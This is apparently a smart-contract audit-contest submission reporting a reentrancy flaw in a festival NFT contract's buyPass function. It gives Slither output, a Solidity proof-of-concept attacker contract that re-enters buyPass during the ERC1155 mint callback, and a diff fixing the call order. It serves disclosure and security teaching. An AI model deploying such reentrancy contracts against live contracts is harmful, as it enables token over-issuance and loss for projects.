Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

reentrancy-no-eth

Root + Impact

Description

  • The Checks-Effects-Interactions (CEI) pattern is a fundamental security principle in smart contract development, requiring that all state variable modifications (Effects) occur before any external calls (Interactions) to untrusted contracts.

  • In FestivalPass.buyPass(uint256), the _mint external call (an interaction that can trigger re-entrant callbacks in the recipient contract) occurs before the contract's internal state variable passSupply[collectionId] is incremented (an effect). This violates the CEI pattern, creating a reentrancy vulnerability that a malicious actor could exploit to mint additional passes or disrupt the passSupply count.

SLITHER OUTPUT:

## reentrancy-no-eth Impact: Medium
Confidence: Medium - [ ] ID-6
Reentrancy in [FestivalPass.buyPass(uint256)](src/FestivalPass.sol#L69-L85):
External calls:
- [_mint(msg.sender,collectionId,1,)](src/FestivalPass.sol#L76) - [response = IERC1155Receiver(to).onERC1155Received(operator,from,id,value,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Utils.sol#L34-L48)
- [response = IERC1155Receiver(to).onERC1155BatchReceived(operator,from,ids,values,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Utils.sol#L69-L85) - [ERC1155Utils.checkOnERC1155Received(operator,from,to,id,value,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol#L194)
- [ERC1155Utils.checkOnERC1155BatchReceived(operator,from,to,ids,values,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol#L196)
State variables written after the call(s):
- [++ passSupply[collectionId]](src/FestivalPass.sol#L77)
[FestivalPass.passSupply](src/FestivalPass.sol#L23) can be used in cross function reentrancies:
- [FestivalPass.buyPass(uint256)](src/FestivalPass.sol#L69-L85) - [FestivalPass.configurePass(uint256,uint256,uint256)](src/FestivalPass.sol#L54-L66) - [FestivalPass.passSupply](src/FestivalPass.sol#L23)
src/FestivalPass.sol#L69-L85

// Root cause in the codebase with @> marks to highlight the relevant section
// src/FestivalPass.sol
function buyPass(uint256 collectionId) public payable {
require(msg.value == 0, "No ETH accepted, use BEAT token to buy passes.");
uint256 price = collectionPrices[collectionId];
require(
IERC20(beatToken).transferFrom(msg.sender, address(this), price),
"BEAT token transfer failed"
);
_mint(msg.sender, collectionId, 1, ""); // @> External call (Interaction) occurs here
emit PassPurchased(msg.sender, collectionId, 1);
++passSupply[collectionId]; // @> State update (Effect) occurs after the external call
}

Risk

Likelihood:

  • This will occur if a malicious actor controls msg.sender and provides a contract that implements re-entrant logic in its onERC1155Received or onERC1155BatchReceived callback functions (which are triggered by the _mint call).


  • This will occur if the re-entering call re-invokes buyPass or any other function that reads from or depends on passSupply[collectionId] before the increment, allowing for multiple operations based on an outdated supply count.

Impact:

  • Incorrect passSupply: The passSupply[collectionId] could become inconsistent, leading to a state where the recorded supply does not match the actual number of passes minted.

  • Unauthorized Minting: A malicious user could potentially mint more passes than intended or allowed by the contract's design, leading to over-issuance of tokens.

Proof of Concept

// Example PoC demonstrating reentrancy in buyPass
// (Requires a malicious ERC1155 recipient contract)
// Malicious ERC1155 Receiver Contract (simplified)
contract MaliciousERC1155Receiver {
FestivalPass public festivalPass;
uint256 public targetCollectionId;
uint256 public reentrancyCount = 0; // To limit reentrancy
constructor(address _festivalPassAddress) {
festivalPass = FestivalPass(_festivalPassAddress);
}
// Called by FestivalPass._mint when tokens are sent
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4) {
if (id == targetCollectionId && reentrancyCount == 0) {
reentrancyCount++; // Prevent infinite reentrancy in simple PoC
// Re-enter buyPass before passSupply[id] is incremented
festivalPass.buyPass(targetCollectionId);
}
return this.onERC1155Received.selector;
}
function attack(uint256 _collectionId) public {
targetCollectionId = _collectionId;
// Assume attacker has enough BEAT tokens and has approved FestivalPass
festivalPass.buyPass(_collectionId); // First call
}
}
// Scenario:
// 1. Malicious user calls MaliciousERC1155Receiver.attack(collectionId).
// 2. MaliciousERC1155Receiver calls FestivalPass.buyPass(collectionId).
// 3. FestivalPass._mint is called to send token to MaliciousERC1155Receiver.
// 4. MaliciousERC1155Receiver.onERC1155Received is triggered.
// 5. Inside onERC1155Received, it calls FestivalPass.buyPass(collectionId) again.
// At this point, passSupply[collectionId] has *not yet* been incremented from the first call.
// 6. The second buyPass call proceeds, mints another token, and increments passSupply.
// 7. The first buyPass call resumes and increments passSupply again, leading to an inflated count.
// Alternatively, if `passSupply` was used for a `require` check, the re-entry could bypass it.

Recommended Mitigation

- remove this code
+ add this code
--- a/src/FestivalPass.sol
+++ b/src/FestivalPass.sol
@@ -74,9 +74,9 @@
IERC20(beatToken).transferFrom(msg.sender, address(this), price),
"BEAT token transfer failed"
);
- _mint(msg.sender, collectionId, 1, "");
- emit PassPurchased(msg.sender, collectionId, 1);
- ++passSupply[collectionId];
+ ++passSupply[collectionId]; // @> Move state update before external call
+ _mint(msg.sender, collectionId, 1, ""); // @> Perform external call after state update
+ emit PassPurchased(msg.sender, collectionId, 1); // @> Emit event after all effects and external calls
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.